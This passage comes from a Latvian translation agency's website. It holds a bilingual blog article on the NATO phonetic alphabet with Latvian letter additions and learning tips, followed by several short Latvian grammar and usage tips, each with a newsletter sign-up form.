gadā ICAO publicēja jaunu oficiālo fonētisko alfabētu, un drīz pēc tam to pieņēma Ziemeļatlantijas līguma organizācija (NATO). KAS LIETO FONĒTISKO ALFABĒTU? Fonētisko alfabētu ātri pieņēma dažādas starptautiskas organizācijas, tostarp: Starptautiskā Telesakaru savienība (ITU), Starptautiskā Jūrniecības organizācija (IMO), ASV Aizsardzības ministrija, Federālā aviācijas administrācija (FAA), Starptautiskā Radioamatieru savienība (IARU), Amerikas Radioreleju līga (ARRL) un Sabiedriskās drošības sakaru amatpersonu asociācija (APCO). Lai gan šīs dažādās aģentūras vispārēji pieņēma vienādus alfabētiskos koda vārdus, bija nelielas atšķirības attiecībā uz ciparu koda vārdiem. NATO izvēlējās izmantot ierastos angļu valodas ciparu vārdus (“zero”, “one”, “two” u. c. ). Turpretī ITU un IMO definēja saliktus ciparu vārdus (piemēram, “nadazero” – “nulle”, “unaone” – “viens”, “bissotwo” – “divi” u. c. ). Tomēr šie termini praksē reti tiek lietoti, galvenokārt tāpēc, ka tie nav kopīgi visām aģentūrām. FONĒTISKĀ ALFABĒTA PAMATI NATO fonētiskais alfabēts ir kas vairāk nekā tikai burtiem piešķirtu konkrētu, viegli iegaumējamu vārdu kopums. Aplūkosim katru no tiem tuvāk: Alpha (A), Bravo (B), Charlie (C), Delta (D), Echo (E), Foxtrot (F), Golf (G), Hotel (H), India (I), Juliett (J), Kilo (K), Lima (L), Mike (M), November (N), Oscar (O), Papa (P), Quebec (Q), Romeo (R), Sierra (S), Tango (T), Uniform (U), Victor (V), Whiskey (W), X-ray (X), Yankee (Y) un Zulu (Z). Visi vārdi ir rūpīgi atlasīti. Tie ir unikāli un ievērojami atšķiras viens no otra pēc skanējuma. Tas ievērojami samazina bīstamu kļūdu risku saziņas problēmu gadījumos vai kad vēstījums ir grūti sadzirdams. KĀ LIETOT STARPTAUTISKO RADIOTELEFONIJAS FONĒTISKO ALFABĒTU? Iedomājieties pilotu lidojumā. Viņam ir jānodod svarīga informācija par lidojumu. Tā vietā, lai vienkārši pateiktu lidojuma numuru, piemēram, FL380 (ko gaisa satiksmes vadība varētu pārprast), pilots izmanto NATO alfabētu. Viņš saka “Foxtrot Lima trīs astoņi nulle”, un viņu uzreiz saprot. MILITĀRAIS ALFABĒTS: ŠPIKERIS Militārajā alfabētā ir gan burti, gan cipari. Šeit ir ērts špikeris, ko varat izmantot, kad vien nepieciešams izmantot fonētisko alfabētu. BURTI Alpha (A) Bravo (B) Charlie (C) Delta (D) Echo (E) Foxtrot (F) Golf (G) Hotel (H) India (I) Juliett (J) Kilo (K) Lima (L) Mike (M) November (N) Oscar (O) Papa (P) Quebec (Q) Romeo (R) Sierra (S) Tango (T) Uniform (U) Victor (V) Whiskey (W) X-ray (X) Yankee (Y) Zulu (Z) Tā kā latviešu valodas alfabētā ir garie patskaņi, mīkstie un cietie līdzskaņi, tad tiem ir papildus fonētiskais alfabēts Ādaži (Ā) Čiekuri (Č) Ēdole (Ē) Ģermāņi (Ģ) Īleni (Ī) Ķemeri (Ķ) Ļaudona (Ļ) Ņujorka (Ņ) Šanhaja (Š) Ūdele (Ū) Žīguri (Ž) CIPARI Zero/Nulle (0) One/Viens (1) Two/Divi (2) Three/Trīs (3) Four/Četri (4) Five/Pieci (5) Six/Seši (6) Seven/Septiņi (7) Eight/Astoņi (8) Nine/Deviņi (9) Šis špikeris ir noderīga atsauce. Tas palīdzēs, kad nepieciešama skaidra un precīza saziņa, piemēram, radio saziņā, militārajās operācijās vai pat noteiktās civilajās situācijās (tostarp aviācijā vai klientu apkalpošanā). Turiet to pa rokai brīžos, kad svarīgs ir katrs vārds! KĀ APGŪT FONĒTISKO ALFABĒTU? NATO un papildus latviešu valodas fonētiskā alfabēta apguve sākumā var šķist biedējoša, taču ar šīm efektīvajām metodēm tā kļūs vieglāka. 1. SADALIET ALFABĒTU MAZĀKĀS GRUPĀS Sāciet ar alfabēta sadalīšanu mazās, viegli uztveramās burtu grupās. Apgūstiet tās pa vienai. Sāciet ar Ā–Ē grupu (Ādaži, Alpha, Bravo, Charlie, Čiekuri, Delta, Echo, Ēdole) un tad turpiniet tālāk. Šāda pieeja padara mācīšanos mazāk apgrūtinošu. 2. REGULĀRA ATKĀRTOŠANA UN PRAKTIZĒŠANA Ieviesiet ieradumu lietot fonētisko alfabētu savā ikdienā. Ar tā palīdzību izrunājiet uzvārdus vai adreses. Sēžat sastrēgumā? Praktizējieties, izmantojot tuvumā esošo automašīnu numura zīmes vai draugu vārdus. 3. IZVEIDOJIET ATMIŅU KARTĪTES Izveidojiet atmiņu kartītes ar burtiem un atbilstošiem vārdiem. Pievienojiet attēlus, kas asociējas ar katru burtu. Vizuālie signāli ievērojami palīdz iegaumēt. 4. IESAISTIET DRAUGUS VAI ĢIMENI Iesaistiet draugus vai ģimeni mācību procesā. Palūdziet viņiem nosaukt burtu un atbildēt ar pareizo koda vārdu. Ar laiku NATO un papildus latviešu valodas fonētiskais alfabēts jums kļūs tikpat dabisks kā parastais alfabēts. MILITĀRIE TULKOJUMI Militārie tulkojumi ir ļoti atbildīgs uzdevums. Tulkošanas birojā Skrivanek mēs specializējamies tulkojumos aizsardzības nozares klientiem. Mēs izprotam militārās valodas nianses. Mūsu komandā ir pieredzējuši tulkotāji, bijušās militārpersonas un drošības eksperti. Katrs tulkojums ir precīzs un saglabā oriģināla kontekstu. Mēs nodrošināsim, ka saziņa ir pareiza un saprotama neatkarīgi no tā, vai darbojaties starptautiskā mērogā vai jums ir nepieciešami specializēti dokumentu tulkojumi. Sadarbība ar Skrivanek nozīmē, ka katrs vārds būs precīzi pārtulkots. Aizpildiet kontaktformu mūsu tīmekļa vietnē, lai saņemtu bezmaksas piedāvājumu savam projektam, vai piesakieties tiešsaistes konsultācijai, lai uzzinātu, kā varam palīdzēt tieši jums. --- > Explore the precision of military communication with our military phonetic alphabet cheat sheet. Learn the alphabet from Alpha to Zulu. - Published: 2024-06-11 - Modified: 2025-06-30 - URL: https://skrivanek.lv/militarais-alfabets/ - Kategorijas: Article, Raksti - Translation Priorities: Optional WHAT IS THE MILITARY ALPHABET? When you imagine the alphabet, you probably think of the letters that make up words and sentences. Perhaps you think of the Latin alphabet, or maybe the Cyrillic alphabet. It is a natural association, but it is also worth mentioning other types of alphabets that are not related to a foreign language, but still help to communicate effectively. Get to know the military alphabet, also known as the NATO phonetic alphabet, the International Radiotelephony Spelling Alphabet or the International Civil Aviation Organisation (ICAO) alphabet. WHY WAS THE PHONETIC ALPHABET CREATED? The history of the military alphabet dates back to the First World War when armies needed an unambiguous system for radio communication. Imagine how easy it was to get confused when transmitting information, especially when some letters (e. g. , ‘b’ and ‘p’ or ‘m’ and ‘n’) sound similar in jammed radio transmissions. To avoid errors, a system was introduced in which each letter was given a specific name. For example, the letter ‘b’ is replaced by ‘Bravo’ and the letter ‘d’ is replaced by ‘Delta’. The military alphabet eliminates confusion. It is incredibly useful for effective communication. The military alphabet, especially its most common version, the NATO phonetic alphabet, has become an essential tool for military personnel, pilots, sailors and many other professions. Clearly defined words stand for every letter and number of the English alphabet. They help to avoid mistakes and misunderstandings. In some extreme situations, they can even save lives. Interested in how it works? For example, the word ‘help’. In the phonetic army alphabet, it would read ‘Hotel Echo Lima Papa’. This method of communication may seem simple, but it takes training to get used to it. PHONETIC ALPHABET: SHORT HISTORY Before the First World War, with the advent of two-way radio and voice communication, phonetic alphabets improved clarity on long-distance and low-quality telephone circuits. The first internationally recognised non-military phonetic alphabet was adopted in 1927 by the Consultative Committee on International Radio (CCIR), the predecessor of the ITU (International Telecommunication Union). The International Commission for Air Navigation, the predecessor of the ICAO (International Civil Aviation Organisation), adopted the alphabet in 1932, which was used until the Second World War. During the Second World War, various countries developed their own phonetic alphabets. The United States standardised its system in 1941 with the Joint Army/Navy radiotelephony alphabet known as ‘Able Baker’. The Royal Air Force and other British forces adopted similar alphabets, with some terms such as ‘Freddie’ for ‘F’ and ‘Sugar’ for ‘S’. Both code names are still sometimes used in the UK. The US military carried out significant research into phonetic alphabets during the Second World War. The alphabet ‘Able Baker’ was adopted in international aviation. However, English-orientated sounds led to the development of alternatives in Latin America, such as the ‘Ana Brazil’ alphabet. In 1947, IATA proposed to ICAO the development of an alphabet incorporating sounds common to English, French, Spanish and Portuguese. From 1948 to 1949, linguistics professor Jean-Paul Vinay worked with the ICAO to develop a new phonetic alphabet. Words had to be easy to pronounce and recognisable to pilots in all languages, with good radio transmission and readability characteristics, and similar in English, French and Spanish. The revised alphabet was adopted by the ICAO in 1951. However, this list encountered problems, particularly with regard to comprehensibility in poor conditions. After extensive testing and research by various countries, a new official phonetic alphabet was published by ICAO in 1956 and adopted by the North Atlantic Treaty Organisation (NATO) soon afterwards. WHO USES THE PHONETIC ALPHABET? The phonetic alphabet was quickly adopted by various international organisations, including: the International Telecommunication Union (ITU), the International Maritime Organization (IMO), the U. S. Department of Defense, the Federal Aviation Administration (FAA), the International Amateur Radio Union (IARU), the American Radio Relay League (ARRL), and the Association of Public-Safety Communications Officials-International (APCO). Although these different agencies generally adopted the same alphabetic code words, there were slight differences in the case of numeric code words. NATO chose to use the usual English numeric words (zero, one, two, etc. ). In contrast, the ITU and IMO defined compound numeric words (e. g. , ‘nadazero’ for zero, ‘unaone’ for one, ‘bissotwo’ for two, etc. ). However, these terms are rarely used in practice, mainly because they are not common to all agencies. THE BASICS OF THE PHONETIC ALPHABET The NATO phonetic alphabet is more than just a set of specific, easy-to-remember words assigned to letters. Let’s take a closer look at each of them: Alpha (A), Bravo (B), Charlie (C), Delta (D), Echo (E), Foxtrot (F), Golf (G), Hotel (H), India (I), Juliett (J), Kilo (K), Lima (L), Mike (M), November (N), Oscar (O), Papa (P), Quebec (Q), Romeo (R), Sierra (S), Tango (T), Uniform (U), Victor (V), Whiskey (W), X-ray (X), Yankee (Y) and Zulu (Z). All the words have been carefully selected. They are unique and differ significantly from one another in sound. This greatly reduces the risk of dangerous mistakes when communication problems occur or when the message is difficult to hear. HOW DO YOU USE THE INTERNATIONAL RADIOTELEPHONY SPELLING ALPHABET? Imagine a pilot in flight. He has to convey important information about the flight. Instead of simply saying the flight number, for example, FL380 (which could be misunderstood by air traffic control), the pilot uses the NATO alphabet. He says, ‘Foxtrot Lima three eight zero’ and is immediately understood. MILITARY ALPHABET: CHEAT SHEET The military alphabet has both letters and numbers. Here is a handy cheat sheet you can use whenever you need to use the phonetic alphabet. MILITARY LETTERS Alpha (A) Bravo (B) Charlie (C) Delta (D) Echo (E) Foxtrot (F) Golf (G) Hotel (H) India (I) Juliett (J) Kilo (K) Lima (L) Mike (M) November (N) Oscar (O) Papa (P) Quebec (Q) Romeo (R) Sierra (S) Tango (T) Uniform (U) Victor (V) Whiskey (W) X-ray (X) Yankee (Y) Zulu (Z) But, for example, due to the Latvian alphabet having long vowels and consonants with palatalisation marks, these have additional phonetic alphabet letters Ādaži (Ā) Čiekuri (Č) Ēdole (Ē) Ģermāņi (Ģ) Īleni (Ī) Ķemeri (Ķ) Ļaudona (Ļ) Ņujorka (Ņ) Šanhaja (Š) Ūdele (Ū) Žīguri (Ž) NUMBERS Zero (0) One (1) Two (2) Three (3) Four (4) Five (5) Six (6) Seven (7) Eight (8) Nine (9) This cheat sheet is a useful reference for military abc. It will help when you need clear and precise communication, for example in radio communications, military operations or even in certain civilian situations (including aviation or customer service). Keep it handy when every word counts! HOW TO LEARN THE PHONETIC ALPHABET? Learning the NATO phonetic alphabet may seem daunting at first, but with these effective methods it will become easier. 1. DIVIDE THE ALPHABET INTO SMALLER GROUPS Start by dividing the alphabet into small, easy-to-read groups of letters. Learn them one by one. Start with the A-E group (Alpha, Bravo, Charlie, Delta, Echo) and then work your way down. This approach makes learning less difficult. And if you feel like you want to challenge yourself, try adding the Latvian phonetic alphabet letters seen above. 2. REGULAR REPETITION AND PRACTICE Get into the habit of using the phonetic alphabet in your daily life. Use it to pronounce surnames or addresses. Sitting in traffic? Practise using the number plates of nearby cars or the names of friends. 3. CREATE FLASHCARDS Create flashcards with letters and matching names. Add pictures to associate with each letter. Visual cues really help when memorising things. 4. INVOLVE FRIENDS OR FAMILY Involve friends or family in the learning process. Ask them to name the letter and answer with the correct code word. Eventually, the NATO and the Latvian additional phonetic alphabet will become as natural to you as the regular alphabet. MILITARY TRANSLATIONS Military translation is a very responsible task. At the translation agency Skrivanek, we specialise in translations for clients in the defence sector. We understand the nuances of military language. Our team includes experienced translators, ex-military personnel and security experts. Each translation is accurate and preserves the context of the original. Whether you operate internationally or need specialised document translations, we’ll make sure your communication is correct and understandable. Working with Skrivanek means that every word will be accurately translated. Fill in the contact form on our website to get a free quote for your project, or book an online consultation to find out how we can help you. Ziņu izvēlne Read our previous blog postValsts ieņēmumu dienestsRead our new blog postValsts sociālās apdrošināšanas aģentūra --- > Vai dokumentos, rakstot datumu datorrakstā, pēc punkta ir liekama atstarpe? Noderīgi latviešu valodas padomi vienuviet! - Published: 2024-06-11 - Modified: 2024-10-22 - URL: https://skrivanek.lv/vai-dokumentos-rakstot-datumu-datorraksta-pec-punkta-ir-liekama-atstarpe/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VAI DOKUMENTOS, RAKSTOT DATUMU DATORRAKSTĀ, PĒC PUNKTA IR LIEKAMA ATSTARPE? 1 Latviešu valodā, rakstot datumu datorrakstā, pēc punkta vienmēr seko atstarpe (izņemot pulksteņlaiku). Taču praksē diemžēl daudzas datorprogrammas un tiešsaistes risinājumi, liekot atstarpi aiz punkta, automātiski sāk rakstīt punktam sekojošo vārdu ar lielo burtu, tādēļ rakstos ir lietojama saistītā jeb nedalāmā atstarpe. Kā to izdarīt praktiski? Iesakām kādu no šiem knifiem: a) ja datorprogramma, piemēram, Word to atļauj, lai ieliktu saistīto atstarpi starp skaitli un vārdu spiežam – Ctrl+Shift+Space. Saistītā atstarpe nepieļaus situāciju, ka vārds, uz kuru skaitlis attiecas, dokumentā “noklīdīs”, pamainot formatējumu. Tomēr ne visas vides ļauj lietot šo īsceļu. b) ja saistīto atstarpi tehniski nevar ielikt – sākt rakstīt datumu, kā ierasts, parādoties kļūdainajam lielajam burtam, nospiest Undo jeb Ctrl+Z taustiņu kombināciju, kas atspējos automātisko kļūdaino formatēšanu. Šis gan būs jādara katru reizi dokumentā. c) Word vairs automātiski nelabos pirmo vārdu aiz punkta ar lielo sākumburtu, ja atiestatīsiet to iestatījumos (jāņem vērā, ka pēc jebkura punkta ielikšanas, pat, ja nebūs saistīts ar datumu, Word automātiski nelabos uz lielo sākumburtu): Word augšējā kreisajā stūrī noklikšķiniet uz izvēlnes 'Fails' (vai, ja iestatīts angliski – 'File'); izvēlieties 'Opcijas' jeb 'Options' sānu joslā; tad izvēlnē, kas atrodas loga kreisajā pusē, izvēlieties 'Koriģēšana' jeb 'Proofing'; noklikšķiniet uz pogas 'Automātiskās koriģēšanas opcijas' jeb 'AutoCorrect Options'; izvēlieties augšējā izvēlnē 'Automātiskā koriģēšana' jeb 'AutoCorrect' un noņemiet atzīmi no izvēles lodziņa 'Teikumu sākt ar lielo burtu' jeb 'Capitalize first letter of sentences'; saglabājiet izvēlētās izmaiņas. Tātad, rakstot datumu datorrakstā, pēc punkta vienmēr liksim atstarpi – 2024. gada 2. maijā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Tēmeklis vai tēmēklis – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-06-11 - Modified: 2024-06-11 - URL: https://skrivanek.lv/temeklis-vai-temeklis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TĒMEKLIS VAI TĒMĒKLIS 1 Mednieks lietoja nakts redzamības tēmekli vai nakts redzamības tēmēkli? Darinot lietvārdu no otrās konjugācijas darbības vārdiem, izskaņu veido ar garo patskani: -ēklis un -ēknis. Šo principu vienkāršāk atcerēties, lokot darbības vārdu: (viņš) tēmē – tēmēklis, (viņš) audzē – audzēknis, (viņš) biedē – biedēklis. Turpretī (viņš) piemin – piemineklis, (viņš) put – puteklis, (viņš) grābj – grābeklis. Tātad mednieki lietos nakts redzamības tēmēkli, bet putnus no augļu dārziem aizbaidīs putnubiedēkļi. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Laima slimība vai Laimas slimība – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-06-11 - Modified: 2025-03-24 - URL: https://skrivanek.lv/laima-slimiba-vai-laimas-slimiba/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional LAIMA SLIMĪBA VAI LAIMAS SLIMĪBA 1 No ērču kodumiem baidās gandrīz visi cilvēki, jo ir zināms, ka ērces pārnēsā divas bīstamas slimības. Viena no tām ir ērču encefalīts, kuru izraisa vīruss. Bet kā pareizi saukt otru? Dažas ērces pārnēsā baktēriju Borrelia burgdorferi. Tā, nonākusi cilvēka ķermenī, izraisa vispirms ādas apsārtumu un plankumus, bet pēc tam – artrītam līdzīgu reakciju. Pirmo reizi šo slimību aprakstīja 1975. gadā Laimā, Konektikutā. No šīs vietas arī cēlies slimības nosaukums – Laimas slimība. Latviešu valodā pastāv arī skaists sievietes vārds – Laima, un tas nemaz nesaistās ar slimību, tāpēc slimības nosaukumu mēdz lietot nepareizi. Tomēr jāatceras, ka ērču pārnēsātā slimība saistāma nevis ar sievieti vai mitoloģisku tēlu, bet gan ar vietas nosaukumu. Tāpēc dabā īpaši uzmanīsimies no ērcēm, lai nesaslimtu ar ērču encefalītu vai Laimas slimību! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā būtu pareizi rakstīt diploma izdošanas datumu un vietu? Diploms izdots Rīgā 2024. gadā vai diploms izdots Rīgā, 2024. gadā? Citi padomi - Published: 2024-06-11 - Modified: 2024-06-11 - URL: https://skrivanek.lv/diploms-izdots-riga-2024-gada-11-junija-vai-diploms-izdots-riga-2024-gada-11-junija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional DIPLOMS IZDOTS RĪGĀ 2024. GADA 11. JŪNIJĀ VAI DIPLOMS IZDOTS RĪGĀ, 2024. GADA 11. JŪNIJĀ 1 Kā būtu pareizi rakstīt diploma izdošanas vai sagatavošanas datumu un vietu? Diploms izdots Rīgā 2024. gada 11. jūnijā vai diploms izdots Rīgā, 2024. gada 11. jūnijā? Vai kāda notikuma vieta un laiks ir jāatdala ar komatu? “Rīgā” ir apstāklis, kas apzīmē vietu (atbildot uz jautājumu – kur? ), savukārt datums atbild uz jautājumu – kad? Tā kā abiem apstākļiem ir atšķirīgas nozīmes, tie ar komatu nav jāatdala. Savukārt, ja viens vai vairāki apstākļi būtu ar vienādu nozīmi, tos atdalītu ar komatu, piemēram, ceturtdien, 25. aprīlī plkst. 10. 00. Tātad: diploms izdots vai dokuments ir sagatavots Rīgā 2024. gada 11. jūnijā un diploms izdots vai dokuments ir sagatavots Latvijā, Rīgā 2024. gada 11. jūnijā. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vizēt vai vīzēt - kāda ir atšķirība? Ieskaties šeit, lai uzzinātu pareizo atbildi. Šis un daudzi citi latviešu valodas padomi vienuviet. - Published: 2024-05-31 - Modified: 2024-11-01 - URL: https://skrivanek.lv/vizet-vai-vizet/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional VIZĒT VAI VĪZĒT 1 Lai saņemtu, piemēram, būvatļauju, jebkuram būs nepieciešams lērums dokumentu. Uz šiem dokumentiem jābūt vīzai, proti, dokumenta uzrakstam, kas apstiprina šī dokumenta patiesumu, piešķir tam spēku vai nosaka tā turpmāku virzību (par vārda ,,vīza” otru nozīmi – atzīme pasē, ka atļauts iebraukt valstī vai izbraukt no tās, vai šķērsot – citā reizē). Ja vēlamies noskaidrot, kur var vizēt kādu dokumentu, proti, uz dokumenta uzrakstīt vīzu, tad kā pareizi rakstīsim? Lai gan varētu šķist, ka ja ir ,,vīza”, tad dokumentu var ,,vīzēt”, tomēr šajā gadījumā pareizi būs: ,,Pie kā man jāvēršas, lai vizētu dokumentu? ”Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Iet kājām vai iet ar kājām – kā ir pareizi? Ieskaties un uzzini pareizo atbildi! Šis un daudzi citi latviešu valodas padomi vienuviet! - Published: 2024-05-31 - Modified: 2025-03-19 - URL: https://skrivanek.lv/iet-ar-kajam-vai-iet-kajam/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional IET AR KĀJĀM VAI IET KĀJĀM 1 Forma ,,iet ar kājām” latviešu valodā ieviesusies no vācu valodas ,,zu Fuss” (ar kājām), savukārt forma ,,iet kājām” – krievu valodas ,,идти пешком” analogs. Latviešu valodā instrumentāļa nozīmes izteikšanai ir pieļaujami divi formālie varianti, šis locījums valodnieku aprindās joprojām ir diskusiju uzmanības centrā. Tādēļ varam teikt gan ,,iet kājām”, gan ,,iet ar kājām”, taču ieteicamāka vārdkopa, kuru iesakām lietot arī mēs, ir ,,iet kājām”. Tātad teiksim: ,,Iešu kājām, lai skolā nokļūtu ātrāk! ”Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. 